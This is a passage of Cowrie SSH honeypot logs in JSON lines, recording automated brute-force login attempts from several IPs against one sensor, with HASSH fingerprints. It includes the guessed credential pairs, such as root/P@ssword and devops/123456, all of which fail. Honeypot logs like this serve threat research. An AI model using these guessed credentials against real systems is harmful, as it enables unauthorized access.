{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:1b:e9:9f:9c:ab:6b:fd:cd:5c:fb:06:c7:00:0d:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3c1d5cGkQYQbDd7XZ8pDrQu6IZk3fw/uEzD0Xh4Iq/wz4vwOEbdgDCQVZ+PHSVhTUDN8OtgBLpOOIm53LHsTi9CwFPH2wHPVU8UbVuXO/xD+p8nbz5IUd0fCViTznW1C9TeYQuK5fYQHew5I0ybOViI0oYALjbp/cgtS8/Il1r/UcJWMLLaGrfRc1kCCe9B47VEjTus+qJtqEFNSxc+bV+qRWXKhSPuztdCJSE867FmSU4+Nacc22MYOW5k8On0Cvg/6agd267c6f0TMNjLpe/uStUUSKSZY8PKdbQJITMYMQOM7jQ2ufHLxM7j5FKZBfkruJIyYkDR+pHGv5emNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:39.930495Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:6c:65:6c:e5:75:09:c4:25:83:f4:7a:5c:6f:e6:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTLPMkfM7XTTUIRhKtsnHWnsEpnrWFR7MxIDEUw+mZbLb8fmy8qXq3z4fXi2PJsZLsC9gaEdHAx4aGlb9UaPk7xXKui5Y52fmnOL6p4O+sH21Tz63Zd59fbbnKtldk7s8dSZRfHladNs2poABhbiEEuU85lyBwmJ6TGFCE5NFsgU9aBHUB0ZcJ6jp1H9DvS24LfQO8rInW7YLkpfcfmtE2kqu2qMqyy2PsGJEZqgw+oUtup7KTqbO3A3Nxgfq4wswb5RGWV4yL82iCu8miez9UtxqvH/7qzUtQvYLWIIgd/cep6xmXwoPCmB58dWFylfIeaWA1E431DLsLbezoIjuunMqrh8JzdQ6pXBC5Kqh9fCyiCY4tW//aYdQtb8K6HsKTCj9C0tJAu1t12AC7ydCq1sfyiPRx7h4fezSzzXjm3HjDR0UwHlU2JZ4pItvO2GfdOH3Wt1pXwuCqbRR5tot572nC+8ReGxcFdfPLtsIxOxrhURRiP/dFTOBkRvDep2N+a9WaoFl6WOLI0aaav7j0jEfBYzECPQat564eVj6pVfn00uFeOqipcfGMMBgGqNkRGHrCe+6fhrCCrpUcckkRiqb9tJKPDrdvlBGm45fEvm/UDqN7rn8T2PpMhOn47ig7jp4vh1rGbFIDxBL90B8Qkr+CFCLZ2tPG8yT99MRr9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:6c:65:6c:e5:75:09:c4:25:83:f4:7a:5c:6f:e6:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.154590Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:6c:65:6c:e5:75:09:c4:25:83:f4:7a:5c:6f:e6:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTLPMkfM7XTTUIRhKtsnHWnsEpnrWFR7MxIDEUw+mZbLb8fmy8qXq3z4fXi2PJsZLsC9gaEdHAx4aGlb9UaPk7xXKui5Y52fmnOL6p4O+sH21Tz63Zd59fbbnKtldk7s8dSZRfHladNs2poABhbiEEuU85lyBwmJ6TGFCE5NFsgU9aBHUB0ZcJ6jp1H9DvS24LfQO8rInW7YLkpfcfmtE2kqu2qMqyy2PsGJEZqgw+oUtup7KTqbO3A3Nxgfq4wswb5RGWV4yL82iCu8miez9UtxqvH/7qzUtQvYLWIIgd/cep6xmXwoPCmB58dWFylfIeaWA1E431DLsLbezoIjuunMqrh8JzdQ6pXBC5Kqh9fCyiCY4tW//aYdQtb8K6HsKTCj9C0tJAu1t12AC7ydCq1sfyiPRx7h4fezSzzXjm3HjDR0UwHlU2JZ4pItvO2GfdOH3Wt1pXwuCqbRR5tot572nC+8ReGxcFdfPLtsIxOxrhURRiP/dFTOBkRvDep2N+a9WaoFl6WOLI0aaav7j0jEfBYzECPQat564eVj6pVfn00uFeOqipcfGMMBgGqNkRGHrCe+6fhrCCrpUcckkRiqb9tJKPDrdvlBGm45fEvm/UDqN7rn8T2PpMhOn47ig7jp4vh1rGbFIDxBL90B8Qkr+CFCLZ2tPG8yT99MRr9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.158389Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:94:85:fd:b1:26:86:7c:93:58:a4:4d:ac:73:64:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4L3fEQOKYQXxBibhG3HRU5Zgokumx/SpfsTb77XMOMItxvm+qWGJVF5lgeOAPqf0QrK//wWRr6yeMLpcfCLhISv9C4dcKQg97cXBXz2vwZg/FZCH7j79utxJyn1wV9tJUcqWUMsHzH5S0ppqtce9uY7U1GOlAYQZ0eh5cDZvzFnj9XvqT4X6v059z2DIMrRsV8cQBQpU2ei4VoXpozPu2zt8wkGZRXyzvTJdWj8BilGDzDdNpRfkbikMAEB99al9IxqxoG5hNl4X4rhP/L3/wH4jLWARpkxdj76sVBd8T6wa0CQ7nMgYkXnzk28oHqYuOGMfmbsmx7Glre+cY8jeLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:94:85:fd:b1:26:86:7c:93:58:a4:4d:ac:73:64:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.420454Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:94:85:fd:b1:26:86:7c:93:58:a4:4d:ac:73:64:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4L3fEQOKYQXxBibhG3HRU5Zgokumx/SpfsTb77XMOMItxvm+qWGJVF5lgeOAPqf0QrK//wWRr6yeMLpcfCLhISv9C4dcKQg97cXBXz2vwZg/FZCH7j79utxJyn1wV9tJUcqWUMsHzH5S0ppqtce9uY7U1GOlAYQZ0eh5cDZvzFnj9XvqT4X6v059z2DIMrRsV8cQBQpU2ei4VoXpozPu2zt8wkGZRXyzvTJdWj8BilGDzDdNpRfkbikMAEB99al9IxqxoG5hNl4X4rhP/L3/wH4jLWARpkxdj76sVBd8T6wa0CQ7nMgYkXnzk28oHqYuOGMfmbsmx7Glre+cY8jeLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.424208Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.649481Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53084,"dst_ip":"10.17.0.5","dst_port":22,"session":"879f5e343b8d","protocol":"ssh","message":"New connection: 193.151.144.93:53084 (10.17.0.5:22) [session: 879f5e343b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.652999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.658259Z","src_ip":"193.151.144.93","session":"879f5e343b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:40.825568Z","src_ip":"193.151.144.93","session":"879f5e343b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:41.405625Z","src_ip":"193.151.144.93","session":"879f5e343b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:42.572696Z","src_ip":"193.151.144.93","session":"879f5e343b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53094,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f0412b718f9","protocol":"ssh","message":"New connection: 193.151.144.93:53094 (10.17.0.5:22) [session: 2f0412b718f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:45.812323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:45.816721Z","src_ip":"193.151.144.93","session":"2f0412b718f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:46.113106Z","src_ip":"193.151.144.93","session":"2f0412b718f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:46.626660Z","src_ip":"193.151.144.93","session":"2f0412b718f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:47.799879Z","src_ip":"193.151.144.93","session":"2f0412b718f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52594,"dst_ip":"10.17.0.5","dst_port":22,"session":"493a14f856e9","protocol":"ssh","message":"New connection: 193.151.144.93:52594 (10.17.0.5:22) [session: 493a14f856e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:51.037743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:51.042632Z","src_ip":"193.151.144.93","session":"493a14f856e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:51.205942Z","src_ip":"193.151.144.93","session":"493a14f856e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:51.695014Z","src_ip":"193.151.144.93","session":"493a14f856e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:56.154857Z","src_ip":"193.151.144.93","session":"493a14f856e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52602,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba7334fab3e","protocol":"ssh","message":"New connection: 193.151.144.93:52602 (10.17.0.5:22) [session: fba7334fab3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:56.301710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:56.307245Z","src_ip":"193.151.144.93","session":"fba7334fab3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:56.481534Z","src_ip":"193.151.144.93","session":"fba7334fab3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:57.001406Z","src_ip":"193.151.144.93","session":"fba7334fab3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:58.628646Z","src_ip":"193.151.144.93","session":"fba7334fab3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52014,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa6e142608c5","protocol":"ssh","message":"New connection: 193.151.144.93:52014 (10.17.0.5:22) [session: fa6e142608c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:01.522122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:01.527636Z","src_ip":"193.151.144.93","session":"fa6e142608c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:01.704477Z","src_ip":"193.151.144.93","session":"fa6e142608c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:02.226259Z","src_ip":"193.151.144.93","session":"fa6e142608c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:03.401901Z","src_ip":"193.151.144.93","session":"fa6e142608c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9d1db5dd32a","protocol":"ssh","message":"New connection: 103.153.68.219:54300 (159.203.135.109:22) [session: e9d1db5dd32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:05.720482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:05.725887Z","src_ip":"103.153.68.219","session":"e9d1db5dd32a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:05.979254Z","src_ip":"103.153.68.219","session":"e9d1db5dd32a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159487","message":"login attempt [root/159487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:06.738282Z","src_ip":"103.153.68.219","session":"e9d1db5dd32a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52026,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c9e636c2949","protocol":"ssh","message":"New connection: 193.151.144.93:52026 (10.17.0.5:22) [session: 6c9e636c2949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:06.815581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:06.820963Z","src_ip":"193.151.144.93","session":"6c9e636c2949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-s